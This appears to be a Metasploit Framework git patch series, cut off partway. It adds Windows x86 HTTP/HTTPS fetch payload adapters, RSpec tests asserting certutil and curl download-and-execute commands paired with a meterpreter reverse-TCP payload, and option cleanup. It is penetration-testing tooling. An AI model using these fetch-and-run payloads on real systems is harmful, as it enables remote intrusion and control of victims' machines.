From be2590af6f71e4f234f232ec46e7443b1cfc35be Mon Sep 17 00:00:00 2001 From: bwatters-r7 Date: Mon, 23 Mar 2026 19:19:00 -0500 Subject: [PATCH 1/4] Add HTTP and HTTPS fetch payloads for Windows x86 --- .../payloads/adapters/cmd/windows/http/x86.rb | 32 +++++++++++++++++++ .../adapters/cmd/windows/https/x86.rb | 25 +++++++++++++++ 2 files changed, 57 insertions(+) create mode 100644 modules/payloads/adapters/cmd/windows/http/x86.rb create mode 100644 modules/payloads/adapters/cmd/windows/https/x86.rb diff --git a/modules/payloads/adapters/cmd/windows/http/x86.rb b/modules/payloads/adapters/cmd/windows/http/x86.rb new file mode 100644 index 0000000000..39e5aac516 --- /dev/null +++ b/modules/payloads/adapters/cmd/windows/http/x86.rb @@ -0,0 +1,32 @@ +## +# This module requires Metasploit: https://metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## + +module MetasploitModule + include Msf::Payload::Adapter::Fetch::HTTP + include Msf::Payload::Adapter::Fetch::WindowsOptions + + def initialize(info = {}) + super( + update_info( + info, + 'Name' => 'HTTP Fetch', + 'Description' => 'Fetch and execute an x86 payload from an HTTP server.', + 'DefaultOptions' => { 'FETCH_COMMAND' => 'CERTUTIL' }, + 'Author' => 'Brendan Watters', + 'Platform' => 'win', + 'Arch' => ARCH_CMD, + 'License' => MSF_LICENSE, + 'AdaptedArch' => ARCH_X86, + 'AdaptedPlatform' => 'win' + ) + ) + deregister_options('FETCH_COMMAND') + register_options( + [ + Msf::OptEnum.new('FETCH_COMMAND', [true, 'Command to fetch payload', 'CERTUTIL', %w[CURL TFTP CERTUTIL]]) + ] + ) + end +end diff --git a/modules/payloads/adapters/cmd/windows/https/x86.rb b/modules/payloads/adapters/cmd/windows/https/x86.rb new file mode 100644 index 0000000000..64902a3fec --- /dev/null +++ b/modules/payloads/adapters/cmd/windows/https/x86.rb @@ -0,0 +1,25 @@ +## +# This module requires Metasploit: https://metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## + +module MetasploitModule + include Msf::Payload::Adapter::Fetch::Https + include Msf::Payload::Adapter::Fetch::WindowsOptions + + def initialize(info = {}) + super( + update_info( + info, + 'Name' => 'HTTPS Fetch', + 'Description' => 'Fetch and execute an x86 payload from an HTTPS server.', + 'Author' => 'Brendan Watters', + 'Platform' => 'win', + 'Arch' => ARCH_CMD, + 'License' => MSF_LICENSE, + 'AdaptedArch' => ARCH_X86, + 'AdaptedPlatform' => 'win' + ) + ) + end +end From a0594483b073cecf3991971e5fff3ec98664c5e8 Mon Sep 17 00:00:00 2001 From: bwatters-r7 Date: Mon, 30 Mar 2026 15:57:06 -0500 Subject: [PATCH 2/4] Specs for the spec gods --- .../adapters/cmd/windows/http/x64_spec.rb | 192 ++++++++++++++++++ .../adapters/cmd/windows/http/x86_spec.rb | 192 ++++++++++++++++++ .../adapters/cmd/windows/https/x64_spec.rb | 172 ++++++++++++++++ .../adapters/cmd/windows/https/x86_spec.rb | 172 ++++++++++++++++ spec/modules/payloads_spec.rb | 16 ++ 5 files changed, 744 insertions(+) create mode 100644 spec/modules/payloads/adapters/cmd/windows/http/x64_spec.rb create mode 100644 spec/modules/payloads/adapters/cmd/windows/http/x86_spec.rb create mode 100644 spec/modules/payloads/adapters/cmd/windows/https/x64_spec.rb create mode 100644 spec/modules/payloads/adapters/cmd/windows/https/x86_spec.rb diff --git a/spec/modules/payloads/adapters/cmd/windows/http/x64_spec.rb b/spec/modules/payloads/adapters/cmd/windows/http/x64_spec.rb new file mode 100644 index 0000000000..5ebd810c69 --- /dev/null +++ b/spec/modules/payloads/adapters/cmd/windows/http/x64_spec.rb @@ -0,0 +1,192 @@ +require 'rspec' + +RSpec.describe 'cmd/windows/http/x64' do + include_context 'Msf::Simple::Framework#modules loading' + + # Adapter payloads cannot be instantiated standalone; they must be combined + # with a compatible single payload. We use windows/x64/meterpreter_reverse_tcp + # (ARCH_X64, Platform=win) so the adapter's generate_fetch_commands can be + # exercised. + let(:subject) do + load_and_create_module( + module_type: 'payload', + reference_name: 'cmd/windows/http/x64/meterpreter_reverse_tcp', + ancestor_reference_names: [ + 'adapters/cmd/windows/http/x64', + 'singles/windows/x64/meterpreter_reverse_tcp' + ] + ) + end + + let(:lhost) { '192.168.1.100' } + let(:lport) { '4444' } + let(:fetch_srvhost) { '192.168.1.100' } + let(:fetch_srvport) { 8080 } + let(:fetch_uripath) { 'testpayload' } + let(:fetch_command) { 'CERTUTIL' } + let(:fetch_filename) { 'payload' } + let(:fetch_writable_dir) { '%TEMP%' } + + let(:datastore_values) do + { + 'LHOST' => lhost, + 'LPORT' => lport, + 'FETCH_SRVHOST' => fetch_srvhost, + 'FETCH_SRVPORT' => fetch_srvport, + 'FETCH_URIPATH' => fetch_uripath, + 'FETCH_COMMAND' => fetch_command, + 'FETCH_FILENAME' => fetch_filename, + 'FETCH_WRITABLE_DIR' => fetch_writable_dir + } + end + + before(:each) do + subject.datastore.merge!(datastore_values) + end + + describe 'module metadata' do + it 'includes HTTP Fetch in the name' do + expect(subject.name).to include('HTTP Fetch') + end + + it 'targets the Windows platform' do + expect(subject.platform.platforms).to include(Msf::Module::Platform::Windows) + end + + it 'uses CMD arch' do + expect(subject.arch).to include(ARCH_CMD) + end + + it 'adapts x64 payloads' do + expect(subject.send(:module_info)['AdaptedArch']).to eq(ARCH_X64) + end + + it 'has win as the adapted platform' do + expect(subject.send(:module_info)['AdaptedPlatform']).to eq('win') + end + + it 'adapts x64 and not x86 payloads' do + expect(subject.send(:module_info)['AdaptedArch']).not_to eq(ARCH_X86) + end + end + + describe 'FETCH_COMMAND option' do + it 'defaults to CERTUTIL' do + fresh_subject = load_and_create_module( + module_type: 'payload', + reference_name: 'cmd/windows/http/x64/meterpreter_reverse_tcp', + ancestor_reference_names: [ + 'adapters/cmd/windows/http/x64', + 'singles/windows/x64/meterpreter_reverse_tcp' + ] + ) + expect(fresh_subject.datastore['FETCH_COMMAND']).to eq('CERTUTIL') + end + + it 'accepts CURL as a valid value' do + expect(subject.options['FETCH_COMMAND'].valid?('CURL')).to be(true) + end + + it 'accepts TFTP as a valid value' do + expect(subject.options['FETCH_COMMAND'].valid?('TFTP')).to be(true) + end + + it 'accepts CERTUTIL as a valid value' do + expect(subject.options['FETCH_COMMAND'].valid?('CERTUTIL')).to be(true) + end + + it 'rejects WGET as an invalid value' do + expect(subject.options['FETCH_COMMAND'].valid?('WGET')).to be(false) + end + + it 'rejects FTP as an invalid value' do + expect(subject.options['FETCH_COMMAND'].valid?('FTP')).to be(false) + end + end + + describe '#generate_fetch_commands' do + context 'with CERTUTIL (default)' do + let(:fetch_command) { 'CERTUTIL' } + + it 'generates a certutil download command over HTTP' do + cmd = subject.generate_fetch_commands + expect(cmd).to include('certutil -urlcache -f http://') + end + + it 'includes the fetch server host and port in the URL' do + cmd = subject.generate_fetch_commands + expect(cmd).to include("#{fetch_srvhost}:#{fetch_srvport}") + end + + it 'includes the URI path in the download URL' do + cmd = subject.generate_fetch_commands + expect(cmd).to include(fetch_uripath) + end + + it 'includes the remote destination path' do + cmd = subject.generate_fetch_commands + expect(cmd).to include("#{fetch_writable_dir}\\#{fetch_filename}.exe") + end + + it 'executes the payload with start /B' do + cmd = subject.generate_fetch_commands + expect(cmd).to include('start /B') + end + + it 'does not include del when FETCH_DELETE is false' do + subject.datastore['FETCH_DELETE'] = false + cmd = subject.generate_fetch_commands + expect(cmd).not_to include(' del ') + end + + it 'includes del when FETCH_DELETE is true' do + subject.datastore['FETCH_DELETE'] = true + cmd = subject.generate_fetch_commands + expect(cmd).to include(' del ') + end + end + + context 'with CURL' do + let(:fetch_command) { 'CURL' } + + it 'generates a curl download command over HTTP' do + cmd = subject.generate_fetch_commands + expect(cmd).to include('curl -so') + expect(cmd).to include("http://#{fetch_srvhost}:#{fetch_srvport}/#{fetch_uripath}") + end + + it 'includes the remote destination path' do + cmd = subject.generate_fetch_commands + expect(cmd).to include("#{fetch_writable_dir}\\#{fetch_filename}.exe") + end + + it 'executes the payload with start /B' do + cmd = subject.generate_fetch_commands + expect(cmd).to include('start /B') + end + end + + # The TFTP client requires a TFTP server (fetch_protocol='TFTP'), so using + # TFTP as the FETCH_COMMAND with an HTTP adapter always fails at runtime. + context 'with TFTP' do + let(:fetch_command) { 'TFTP' } + let(:fetch_srvport) { 69 } + + it 'raises a bad-config error because the HTTP adapter cannot serve TFTP' do + expect { subject.generate_fetch_commands }.to raise_error(RuntimeError, /bad-config/) + end + end + end + + describe '#fetch_protocol' do + it 'returns HTTP' do + expect(subject.fetch_protocol).to eq('HTTP') + end + end + + describe '#windows?' do + it 'returns true for this Windows platform module' do + expect(subject.windows?).to be(true) + end + end +end diff --git a/spec/modules/payloads/adapters/cmd/windows/http/x86_spec.rb b/spec/modules/payloads/adapters/cmd/windows/http/x86_spec.rb new file mode 100644 index 0000000000..f8960fc157 --- /dev/null +++ b/spec/modules/payloads/adapters/cmd/windows/http/x86_spec.rb @@ -0,0 +1,192 @@ +require 'rspec' + +RSpec.describe 'cmd/windows/http/x86' do + include_context 'Msf::Simple::Framework#modules loading' + + # Adapter payloads cannot be instantiated standalone; they must be combined + # with a compatible single payload. We use windows/meterpreter_reverse_tcp + # (ARCH_X86, Platform=win) so the adapter's generate_fetch_commands can be + # exercised. + let(:subject) do + load_and_create_module( + module_type: 'payload', + reference_name: 'cmd/windows/http/x86/meterpreter_reverse_tcp', + ancestor_reference_names: [ + 'adapters/cmd/windows/http/x86', + 'singles/windows/meterpreter_reverse_tcp' + ] + ) + end + + let(:lhost) { '192.168.1.100' } + let(:lport) { '4444' } + let(:fetch_srvhost) { '192.168.1.100' } + let(:fetch_srvport) { 8080 } + let(:fetch_uripath) { 'testpayload' } + let(:fetch_command) { 'CERTUTIL' } + let(:fetch_filename) { 'payload' } + let(:fetch_writable_dir) { '%TEMP%' } + + let(:datastore_values) do + { + 'LHOST' => lhost, + 'LPORT' => lport, + 'FETCH_SRVHOST' => fetch_srvhost, + 'FETCH_SRVPORT' => fetch_srvport, + 'FETCH_URIPATH' => fetch_uripath, + 'FETCH_COMMAND' => fetch_command, + 'FETCH_FILENAME' => fetch_filename, + 'FETCH_WRITABLE_DIR' => fetch_writable_dir + } + end + + before(:each) do + subject.datastore.merge!(datastore_values) + end + + describe 'module metadata' do + it 'includes HTTP Fetch in the name' do + expect(subject.name).to include('HTTP Fetch') + end + + it 'targets the Windows platform' do + expect(subject.platform.platforms).to include(Msf::Module::Platform::Windows) + end + + it 'uses CMD arch' do + expect(subject.arch).to include(ARCH_CMD) + end + + it 'adapts x86 payloads' do + expect(subject.send(:module_info)['AdaptedArch']).to eq(ARCH_X86) + end + + it 'has win as the adapted platform' do + expect(subject.send(:module_info)['AdaptedPlatform']).to eq('win') + end + + it 'adapts x86 and not x64 payloads' do + expect(subject.send(:module_info)['AdaptedArch']).not_to eq(ARCH_X64) + end + end + + describe 'FETCH_COMMAND option' do + it 'defaults to CERTUTIL' do + fresh_subject = load_and_create_module( + module_type: 'payload', + reference_name: 'cmd/windows/http/x86/meterpreter_reverse_tcp', + ancestor_reference_names: [ + 'adapters/cmd/windows/http/x86', + 'singles/windows/meterpreter_reverse_tcp' + ] + ) + expect(fresh_subject.datastore['FETCH_COMMAND']).to eq('CERTUTIL') + end + + it 'accepts CURL as a valid value' do + expect(subject.options['FETCH_COMMAND'].valid?('CURL')).to be(true) + end + + it 'accepts TFTP as a valid value' do + expect(subject.options['FETCH_COMMAND'].valid?('TFTP')).to be(true) + end + + it 'accepts CERTUTIL as a valid value' do + expect(subject.options['FETCH_COMMAND'].valid?('CERTUTIL')).to be(true) + end + + it 'rejects WGET as an invalid value' do + expect(subject.options['FETCH_COMMAND'].valid?('WGET')).to be(false) + end + + it 'rejects FTP as an invalid value' do + expect(subject.options['FETCH_COMMAND'].valid?('FTP')).to be(false) + end + end + + describe '#generate_fetch_commands' do + context 'with CERTUTIL (default)' do + let(:fetch_command) { 'CERTUTIL' } + + it 'generates a certutil download command over HTTP' do + cmd = subject.generate_fetch_commands + expect(cmd).to include('certutil -urlcache -f http://') + end + + it 'includes the fetch server host and port in the URL' do + cmd = subject.generate_fetch_commands + expect(cmd).to include("#{fetch_srvhost}:#{fetch_srvport}") + end + + it 'includes the URI path in the download URL' do + cmd = subject.generate_fetch_commands + expect(cmd).to include(fetch_uripath) + end + + it 'includes the remote destination path' do + cmd = subject.generate_fetch_commands + expect(cmd).to include("#{fetch_writable_dir}\\#{fetch_filename}.exe") + end + + it 'executes the payload with start /B' do + cmd = subject.generate_fetch_commands + expect(cmd).to include('start /B') + end + + it 'does not include del when FETCH_DELETE is false' do + subject.datastore['FETCH_DELETE'] = false + cmd = subject.generate_fetch_commands + expect(cmd).not_to include(' del ') + end + + it 'includes del when FETCH_DELETE is true' do + subject.datastore['FETCH_DELETE'] = true + cmd = subject.generate_fetch_commands + expect(cmd).to include(' del ') + end + end + + context 'with CURL' do + let(:fetch_command) { 'CURL' } + + it 'generates a curl download command over HTTP' do + cmd = subject.generate_fetch_commands + expect(cmd).to include('curl -so') + expect(cmd).to include("http://#{fetch_srvhost}:#{fetch_srvport}/#{fetch_uripath}") + end + + it 'includes the remote destination path' do + cmd = subject.generate_fetch_commands + expect(cmd).to include("#{fetch_writable_dir}\\#{fetch_filename}.exe") + end + + it 'executes the payload with start /B' do + cmd = subject.generate_fetch_commands + expect(cmd).to include('start /B') + end + end + + # The TFTP client requires a TFTP server (fetch_protocol='TFTP'), so using + # TFTP as the FETCH_COMMAND with an HTTP adapter always fails at runtime. + context 'with TFTP' do + let(:fetch_command) { 'TFTP' } + let(:fetch_srvport) { 69 } + + it 'raises a bad-config error because the HTTP adapter cannot serve TFTP' do + expect { subject.generate_fetch_commands }.to raise_error(RuntimeError, /bad-config/) + end + end + end + + describe '#fetch_protocol' do + it 'returns HTTP' do + expect(subject.fetch_protocol).to eq('HTTP') + end + end + + describe '#windows?' do + it 'returns true for this Windows platform module' do + expect(subject.windows?).to be(true) + end + end +end diff --git a/spec/modules/payloads/adapters/cmd/windows/https/x64_spec.rb b/spec/modules/payloads/adapters/cmd/windows/https/x64_spec.rb new file mode 100644 index 0000000000..76ed8572d8 --- /dev/null +++ b/spec/modules/payloads/adapters/cmd/windows/https/x64_spec.rb @@ -0,0 +1,172 @@ +require 'rspec' + +RSpec.describe 'cmd/windows/https/x64' do + include_context 'Msf::Simple::Framework#modules loading' + + # Adapter payloads cannot be instantiated standalone; they must be combined + # with a compatible single payload. We use windows/x64/meterpreter_reverse_tcp + # (ARCH_X64, Platform=win) so the adapter's generate_fetch_commands can be + # exercised. + let(:subject) do + load_and_create_module( + module_type: 'payload', + reference_name: 'cmd/windows/https/x64/meterpreter_reverse_tcp', + ancestor_reference_names: [ + 'adapters/cmd/windows/https/x64', + 'singles/windows/x64/meterpreter_reverse_tcp' + ] + ) + end + + let(:lhost) { '192.168.1.100' } + let(:lport) { '4444' } + let(:fetch_srvhost) { '192.168.1.100' } + let(:fetch_srvport) { 8443 } + let(:fetch_uripath) { 'testpayload' } + let(:fetch_command) { 'CURL' } + let(:fetch_filename) { 'payload' } + let(:fetch_writable_dir) { '%TEMP%' } + + let(:datastore_values) do + { + 'LHOST' => lhost, + 'LPORT' => lport, + 'FETCH_SRVHOST' => fetch_srvhost, + 'FETCH_SRVPORT' => fetch_srvport, + 'FETCH_URIPATH' => fetch_uripath, + 'FETCH_COMMAND' => fetch_command, + 'FETCH_FILENAME' => fetch_filename, + 'FETCH_WRITABLE_DIR' => fetch_writable_dir + } + end + + before(:each) do + subject.datastore.merge!(datastore_values) + end + + describe 'module metadata' do + it 'includes HTTPS Fetch in the name' do + expect(subject.name).to include('HTTPS Fetch') + end + + it 'targets the Windows platform' do + expect(subject.platform.platforms).to include(Msf::Module::Platform::Windows) + end + + it 'uses CMD arch' do + expect(subject.arch).to include(ARCH_CMD) + end + + it 'adapts x64 payloads' do + expect(subject.send(:module_info)['AdaptedArch']).to eq(ARCH_X64) + end + + it 'has win as the adapted platform' do + expect(subject.send(:module_info)['AdaptedPlatform']).to eq('win') + end + + it 'adapts x64 and not x86 payloads' do + expect(subject.send(:module_info)['AdaptedArch']).not_to eq(ARCH_X86) + end + end + + describe 'FETCH_COMMAND option' do + it 'defaults to CURL' do + fresh_subject = load_and_create_module( + module_type: 'payload', + reference_name: 'cmd/windows/https/x64/meterpreter_reverse_tcp', + ancestor_reference_names: [ + 'adapters/cmd/windows/https/x64', + 'singles/windows/x64/meterpreter_reverse_tcp' + ] + ) + expect(fresh_subject.datastore['FETCH_COMMAND']).to eq('CURL') + end + + it 'accepts CURL as a valid value' do + expect(subject.options['FETCH_COMMAND'].valid?('CURL')).to be(true) + end + + it 'accepts TFTP as a valid value' do + expect(subject.options['FETCH_COMMAND'].valid?('TFTP')).to be(true) + end + + it 'accepts CERTUTIL as a valid value' do + expect(subject.options['FETCH_COMMAND'].valid?('CERTUTIL')).to be(true) + end + + it 'rejects WGET as an invalid value' do + expect(subject.options['FETCH_COMMAND'].valid?('WGET')).to be(false) + end + + it 'rejects FTP as an invalid value' do + expect(subject.options['FETCH_COMMAND'].valid?('FTP')).to be(false) + end + end + + describe '#generate_fetch_commands' do + context 'with CURL (default)' do + let(:fetch_command) { 'CURL' } + + it 'generates a curl download command over HTTPS' do + cmd = subject.generate_fetch_commands + expect(cmd).to include('curl -sko') + expect(cmd).to include("https://#{fetch_srvhost}:#{fetch_srvport}/#{fetch_uripath}") + end + + it 'includes the remote destination path' do + cmd = subject.generate_fetch_commands + expect(cmd).to include("#{fetch_writable_dir}\\#{fetch_filename}.exe") + end + + it 'executes the payload with start /B' do + cmd = subject.generate_fetch_commands + expect(cmd).to include('start /B') + end + + it 'does not include del when FETCH_DELETE is false' do + subject.datastore['FETCH_DELETE'] = false + cmd = subject.generate_fetch_commands + expect(cmd).not_to include(' del ') + end + + it 'includes del when FETCH_DELETE is true' do + subject.datastore['FETCH_DELETE'] = true + cmd = subject.generate_fetch_commands + expect(cmd).to include(' del ') + end + end + + # CERTUTIL does not support HTTPS — it always raises a bad-config error. + context 'with CERTUTIL' do + let(:fetch_command) { 'CERTUTIL' } + + it 'raises a bad-config error because CERTUTIL does not support HTTPS' do + expect { subject.generate_fetch_commands }.to raise_error(RuntimeError, /bad-config/) + end + end + + # The TFTP client requires a TFTP server (fetch_protocol='TFTP'), so using + # TFTP as the FETCH_COMMAND with an HTTPS adapter always fails at runtime. + context 'with TFTP' do + let(:fetch_command) { 'TFTP' } + let(:fetch_srvport) { 69 } + + it 'raises a bad-config error because the HTTPS adapter cannot serve TFTP' do + expect { subject.generate_fetch_commands }.to raise_error(RuntimeError, /bad-config/) + end + end + end + + describe '#fetch_protocol' do + it 'returns HTTPS' do + expect(subject.fetch_protocol).to eq('HTTPS') + end + end + + describe '#windows?' do + it 'returns true for this Windows platform module' do + expect(subject.windows?).to be(true) + end + end +end diff --git a/spec/modules/payloads/adapters/cmd/windows/https/x86_spec.rb b/spec/modules/payloads/adapters/cmd/windows/https/x86_spec.rb new file mode 100644 index 0000000000..ea4203c722 --- /dev/null +++ b/spec/modules/payloads/adapters/cmd/windows/https/x86_spec.rb @@ -0,0 +1,172 @@ +require 'rspec' + +RSpec.describe 'cmd/windows/https/x86' do + include_context 'Msf::Simple::Framework#modules loading' + + # Adapter payloads cannot be instantiated standalone; they must be combined + # with a compatible single payload. We use windows/meterpreter_reverse_tcp + # (ARCH_X86, Platform=win) so the adapter's generate_fetch_commands can be + # exercised. + let(:subject) do + load_and_create_module( + module_type: 'payload', + reference_name: 'cmd/windows/https/x86/meterpreter_reverse_tcp', + ancestor_reference_names: [ + 'adapters/cmd/windows/https/x86', + 'singles/windows/meterpreter_reverse_tcp' + ] + ) + end + + let(:lhost) { '192.168.1.100' } + let(:lport) { '4444' } + let(:fetch_srvhost) { '192.168.1.100' } + let(:fetch_srvport) { 8443 } + let(:fetch_uripath) { 'testpayload' } + let(:fetch_command) { 'CURL' } + let(:fetch_filename) { 'payload' } + let(:fetch_writable_dir) { '%TEMP%' } + + let(:datastore_values) do + { + 'LHOST' => lhost, + 'LPORT' => lport, + 'FETCH_SRVHOST' => fetch_srvhost, + 'FETCH_SRVPORT' => fetch_srvport, + 'FETCH_URIPATH' => fetch_uripath, + 'FETCH_COMMAND' => fetch_command, + 'FETCH_FILENAME' => fetch_filename, + 'FETCH_WRITABLE_DIR' => fetch_writable_dir + } + end + + before(:each) do + subject.datastore.merge!(datastore_values) + end + + describe 'module metadata' do + it 'includes HTTPS Fetch in the name' do + expect(subject.name).to include('HTTPS Fetch') + end + + it 'targets the Windows platform' do + expect(subject.platform.platforms).to include(Msf::Module::Platform::Windows) + end + + it 'uses CMD arch' do + expect(subject.arch).to include(ARCH_CMD) + end + + it 'adapts x86 payloads' do + expect(subject.send(:module_info)['AdaptedArch']).to eq(ARCH_X86) + end + + it 'has win as the adapted platform' do + expect(subject.send(:module_info)['AdaptedPlatform']).to eq('win') + end + + it 'adapts x86 and not x64 payloads' do + expect(subject.send(:module_info)['AdaptedArch']).not_to eq(ARCH_X64) + end + end + + describe 'FETCH_COMMAND option' do + it 'defaults to CURL' do + fresh_subject = load_and_create_module( + module_type: 'payload', + reference_name: 'cmd/windows/https/x86/meterpreter_reverse_tcp', + ancestor_reference_names: [ + 'adapters/cmd/windows/https/x86', + 'singles/windows/meterpreter_reverse_tcp' + ] + ) + expect(fresh_subject.datastore['FETCH_COMMAND']).to eq('CURL') + end + + it 'accepts CURL as a valid value' do + expect(subject.options['FETCH_COMMAND'].valid?('CURL')).to be(true) + end + + it 'accepts TFTP as a valid value' do + expect(subject.options['FETCH_COMMAND'].valid?('TFTP')).to be(true) + end + + it 'accepts CERTUTIL as a valid value' do + expect(subject.options['FETCH_COMMAND'].valid?('CERTUTIL')).to be(true) + end + + it 'rejects WGET as an invalid value' do + expect(subject.options['FETCH_COMMAND'].valid?('WGET')).to be(false) + end + + it 'rejects FTP as an invalid value' do + expect(subject.options['FETCH_COMMAND'].valid?('FTP')).to be(false) + end + end + + describe '#generate_fetch_commands' do + context 'with CURL (default)' do + let(:fetch_command) { 'CURL' } + + it 'generates a curl download command over HTTPS' do + cmd = subject.generate_fetch_commands + expect(cmd).to include('curl -sko') + expect(cmd).to include("https://#{fetch_srvhost}:#{fetch_srvport}/#{fetch_uripath}") + end + + it 'includes the remote destination path' do + cmd = subject.generate_fetch_commands + expect(cmd).to include("#{fetch_writable_dir}\\#{fetch_filename}.exe") + end + + it 'executes the payload with start /B' do + cmd = subject.generate_fetch_commands + expect(cmd).to include('start /B') + end + + it 'does not include del when FETCH_DELETE is false' do + subject.datastore['FETCH_DELETE'] = false + cmd = subject.generate_fetch_commands + expect(cmd).not_to include(' del ') + end + + it 'includes del when FETCH_DELETE is true' do + subject.datastore['FETCH_DELETE'] = true + cmd = subject.generate_fetch_commands + expect(cmd).to include(' del ') + end + end + + # CERTUTIL does not support HTTPS — it always raises a bad-config error. + context 'with CERTUTIL' do + let(:fetch_command) { 'CERTUTIL' } + + it 'raises a bad-config error because CERTUTIL does not support HTTPS' do + expect { subject.generate_fetch_commands }.to raise_error(RuntimeError, /bad-config/) + end + end + + # The TFTP client requires a TFTP server (fetch_protocol='TFTP'), so using + # TFTP as the FETCH_COMMAND with an HTTPS adapter always fails at runtime. + context 'with TFTP' do + let(:fetch_command) { 'TFTP' } + let(:fetch_srvport) { 69 } + + it 'raises a bad-config error because the HTTPS adapter cannot serve TFTP' do + expect { subject.generate_fetch_commands }.to raise_error(RuntimeError, /bad-config/) + end + end + end + + describe '#fetch_protocol' do + it 'returns HTTPS' do + expect(subject.fetch_protocol).to eq('HTTPS') + end + end + + describe '#windows?' do + it 'returns true for this Windows platform module' do + expect(subject.windows?).to be(true) + end + end +end diff --git a/spec/modules/payloads_spec.rb b/spec/modules/payloads_spec.rb index 28a95ac1d3..3bd551b9f6 100644 --- a/spec/modules/payloads_spec.rb +++ b/spec/modules/payloads_spec.rb @@ -1390,6 +1390,14 @@ RSpec.describe 'modules/payloads', :content do reference_name: 'cmd/windows/http/x64' end + context 'cmd/windows/http/x86' do + it_should_behave_like 'payload is not cached', + ancestor_reference_names: [ + 'adapters/cmd/windows/http/x86' + ], + reference_name: 'cmd/windows/http/x86' + end + context 'cmd/windows/https/x64' do it_should_behave_like 'payload is not cached', ancestor_reference_names: [ @@ -1398,6 +1406,14 @@ RSpec.describe 'modules/payloads', :content do reference_name: 'cmd/windows/https/x64' end + context 'cmd/windows/https/x86' do + it_should_behave_like 'payload is not cached', + ancestor_reference_names: [ + 'adapters/cmd/windows/https/x86' + ], + reference_name: 'cmd/windows/https/x86' + end + context 'cmd/windows/powershell' do it_should_behave_like 'payload is not cached', ancestor_reference_names: [ From ca21ae4177843e1d65b45671527bf7312c774a56 Mon Sep 17 00:00:00 2001 From: bwatters-r7 Date: Tue, 31 Mar 2026 15:41:36 -0500 Subject: [PATCH 3/4] Clean up FETCH_COMMAND options --- lib/msf/core/payload/adapter/fetch.rb | 1 - lib/msf/core/payload/adapter/fetch/windows_options.rb | 2 +- modules/payloads/adapters/cmd/windows/http/x64.rb | 3 +-- modules/payloads/adapters/cmd/windows/http/x86.rb | 3 +-- modules/payloads/adapters/cmd/windows/https/x64.rb | 7 +++++++ modules/payloads/adapters/cmd/windows/https/x86.rb | 7 +++++++ modules/payloads/adapters/cmd/windows/smb/x64.rb | 2 +- modules/payloads/adapters/cmd/windows/tftp/x64.rb | 6 ++++++ 8 files changed, 24 insertions(+), 7 deletions(-) diff --git a/lib/msf/core/payload/adapter/fetch.rb b/lib/msf/core/payload/adapter/fetch.rb index defe5a12db..22c2db29d4 100644 --- a/lib/msf/core/payload/adapter/fetch.rb +++ b/lib/msf/core/payload/adapter/fetch.rb @@ -278,7 +278,6 @@ module Msf::Payload::Adapter::Fetch # I don't think there is a way to disable cert check in certutil.... print_error('CERTUTIL binary does not support insecure mode') fail_with(Msf::Module::Failure::BadConfig, 'FETCH_CHECK_CERT must be true when using CERTUTIL') - get_file_cmd = "certutil -urlcache -f https://#{download_uri} #{_remote_destination}" else fail_with(Msf::Module::Failure::BadConfig, 'Unsupported Binary Selected') end diff --git a/lib/msf/core/payload/adapter/fetch/windows_options.rb b/lib/msf/core/payload/adapter/fetch/windows_options.rb index 26d7b7addf..9a9e9b0cd8 100644 --- a/lib/msf/core/payload/adapter/fetch/windows_options.rb +++ b/lib/msf/core/payload/adapter/fetch/windows_options.rb @@ -4,7 +4,7 @@ module Msf::Payload::Adapter::Fetch::WindowsOptions super register_options( [ - Msf::OptEnum.new('FETCH_COMMAND', [true, 'Command to fetch payload', 'CURL', %w{ CURL TFTP CERTUTIL }]), + Msf::OptEnum.new('FETCH_COMMAND', [true, 'Command to fetch payload', 'CERTUTIL', %w{ CURL TFTP CERTUTIL }]), Msf::OptString.new('FETCH_FILENAME', [ false, 'Name to use on remote system when storing payload; cannot contain spaces or slashes', Rex::Text.rand_text_alpha(rand(8..12))], regex: %r{^[^\s/\\]*$}), Msf::OptBool.new('FETCH_PIPE', [true, 'Host both the binary payload and the command so it can be piped directly to the shell.', false], conditions: ['FETCH_COMMAND', 'in', %w[CURL]]), Msf::OptString.new('FETCH_WRITABLE_DIR', [ true, 'Remote writable dir to store payload; cannot contain spaces.', '%TEMP%'], regex:/^[\S]*$/) diff --git a/modules/payloads/adapters/cmd/windows/http/x64.rb b/modules/payloads/adapters/cmd/windows/http/x64.rb index e818e836ba..9325267bfa 100644 --- a/modules/payloads/adapters/cmd/windows/http/x64.rb +++ b/modules/payloads/adapters/cmd/windows/http/x64.rb @@ -13,7 +13,6 @@ module MetasploitModule info, 'Name' => 'HTTP Fetch', 'Description' => 'Fetch and execute an x64 payload from an HTTP server.', - 'DefaultOptions' => { 'FETCH_COMMAND' => 'CERTUTIL' }, 'Author' => 'Brendan Watters', 'Platform' => 'win', 'Arch' => ARCH_CMD, @@ -25,7 +24,7 @@ module MetasploitModule deregister_options('FETCH_COMMAND') register_options( [ - Msf::OptEnum.new('FETCH_COMMAND', [true, 'Command to fetch payload', 'CERTUTIL', %w[CURL TFTP CERTUTIL]]) + Msf::OptEnum.new('FETCH_COMMAND', [true, 'Command to fetch payload', 'CERTUTIL', %w[CURL CERTUTIL]]) ] ) end diff --git a/modules/payloads/adapters/cmd/windows/http/x86.rb b/modules/payloads/adapters/cmd/windows/http/x86.rb index 39e5aac516..2313299724 100644 --- a/modules/payloads/adapters/cmd/windows/http/x86.rb +++ b/modules/payloads/adapters/cmd/windows/http/x86.rb @@ -13,7 +13,6 @@ module MetasploitModule info, 'Name' => 'HTTP Fetch', 'Description' => 'Fetch and execute an x86 payload from an HTTP server.', - 'DefaultOptions' => { 'FETCH_COMMAND' => 'CERTUTIL' }, 'Author' => 'Brendan Watters', 'Platform' => 'win', 'Arch' => ARCH_CMD, @@ -25,7 +24,7 @@ module MetasploitModule deregister_options('FETCH_COMMAND') register_options( [ - Msf::OptEnum.new('FETCH_COMMAND', [true, 'Command to fetch payload', 'CERTUTIL', %w[CURL TFTP CERTUTIL]]) + Msf::OptEnum.new('FETCH_COMMAND', [true, 'Command to fetch payload', 'CERTUTIL', %w[CURL CERTUTIL]]) ] ) end diff --git a/modules/payloads/adapters/cmd/windows/https/x64.rb b/modules/payloads/adapters/cmd/windows/https/x64.rb index daac7b86e5..c10113aed9 100644 --- a/modules/payloads/adapters/cmd/windows/https/x64.rb +++ b/modules/payloads/adapters/cmd/windows/https/x64.rb @@ -21,5 +21,12 @@ module MetasploitModule 'AdaptedPlatform' => 'win' ) ) + deregister_options('FETCH_COMMAND') + register_options( + [ + # Certutil does not support insecure mode + Msf::OptEnum.new('FETCH_COMMAND', [true, 'Command to 